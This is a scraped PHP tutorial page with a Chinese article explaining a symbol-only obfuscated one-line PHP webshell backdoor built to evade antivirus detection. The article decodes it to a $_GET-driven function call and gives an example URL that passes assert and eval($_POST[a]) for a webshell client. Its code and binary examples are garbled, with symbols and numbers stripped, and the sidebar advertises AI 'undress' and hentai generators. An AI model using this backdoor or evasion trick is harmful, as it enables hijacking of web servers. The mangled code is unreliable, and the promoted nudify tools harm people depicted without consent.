Home php教程 php手册 纯符号一句话webshell PHP代码详解

纯符号一句话webshell PHP代码详解

Jun 06, 2016 pm 08:11 PM
php webshell code symbol net Detailed explanation

以下是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀,本文中将详细剖析这段看似复杂的PHP变形代码。 lt;?php _=; _[]=; _=_; _=_[]|_[]|_[]^; {__}[_]{__}[__]; ?gt; 第一行: _=; 定义一个以下划线作为命名的字符变

以下是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀,本文中将详细剖析这段看似复杂的PHP变形代码。

lt;?php
_=;
_[]=;
_=_;
_=_[]|_[]|_[]^;
{__}[_]{__}[__];
?gt;

第一行:_=;
定义一个以下划线作为命名的字符变量:_,赋值为空。
此行实际上不影响代码执行效果,仅增加混淆效果。

第二行:_[]=;
定义一个_数组元素,其key为,赋值为空。
众所周知,PHP是个弱类型语言,也就是说PHP并不严格验证变量类型,所以这里作为数组了key,其值等同于,所以此行等同于_[]=;
此时_被定义为数组,覆盖上一行的定义。

第三行:_=_;
将变量_强制转换为字符串,因为此时_类型为数组,强制转换后的结果为字符串Array(string5Array),而非数组元素的值。

第四行:_=_[]|_[]|_[]^;
这一行涉及到计算机二进制的“或运算”和“异或运算”,这里先简单介绍下这两种运算规则:
、或运算,符号为|
运算规则:|=;|=;|=;|=;
简单来说,或运算前后两个对象只要有一个为,其值就为,否则为
2、异或运算,符号为^
运算规则:^=;^=;^=;^=;
简单来说,异或运算可以看成是判断前后两个对象是否相等的,如果两个对象不同(即为异),则值为,否则为

再回到代码上来,此行代码分三个部分_[]|、_[]|、_[]^,用连接符“”号相连,每个部分都是其中两个对象进行或运算或异或运算。
先看第一部分_[]|,很明显,这里是_[]和这两个对象进行“或运算”。
第一个对象_[](也就是_[]),要注意其值已经不是第二行定义的空值,因为在第三行时_变量已经被覆盖定义为字符串“Array”。这里涉及到另一个php知识细节:对于字符串[数字]结构,字符串将会当成数组处理,返回以后面数字作为索引的元素值,例如:x=abcd9com,则x[4]=9。可见,_[]值为字符串“Array”第一字符“A”。
第二个对象是一个特殊字符(注意:这不是短横,虽然长得很像,实际上是个特殊字符,此类符号在某些环境下无法识别而作为乱码处理。后面两部分中的特殊字符也如此。),暂不管为什么此处是这个特殊字符而不是其他字符,先在此行下增加一行测试代码显示这一行定义的_值:
var_dump_;
测试结果为:string3GET,可见,_[]|_[]|_[]^值GET,显而易见,_[]|值为“G”,_[]|值为“E”,_[]^值为“T”。
再先看第一部分_[]|值为G,上面已得到_[]值为“A”,即A|=G,下面分析下此等式:
“A”二进制:
“G”二进制:
|x=
通过或运算规则推导并参考ASCII码对照表,x值可能有以下几个结果:
ASCII可显示字符:F
ASCII可显示字符:G
ASCII控制字符:ACK,代表“确认回应”
ASCII控制字符:BEL,代表“响铃”
代码中的即为ASCII控制字符:ACK。其实另外三个字符也适用,为了增加混淆效果故采用这种特殊字符。
搞清楚第一部分,第二、第三部分也同理可推。

第五行:{__}[_]{__}[__];
此行可通过小括号分成两部分:{__}[_]和{__}[__],两部分结构均是{A}[B],区别仅是后面B是一条下划线还是两条小划线。
先看相同部分{__},这里涉及到大括号{}在php中的特性一个:在变量间接引用中进行定界,如abc为变量abc而{a}bc为变量a连接字符bc,了解了这一特性,而第四行对_赋值为“GET”,可见{__}即为变量_GET,加上后面[_],则为_GET[_],接收get的表单中的变量为_的值。小括号里的部分同理。
根据上面叙述,第五行代码还原后是:_GET[_]_GET[__];

至此,这段混淆代码已原形毕露,一句话后门代码原形为:_GET[_]_GET[__],传递特殊参数构建webshell链接网址(例如:http:wwwabcd9comwebshellphp?_=assertamp;__=eval_POST[a]),通过一句话木马客户端即可连接此URL。

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: How To Unlock Everything In MyRise
1 months ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

See all articles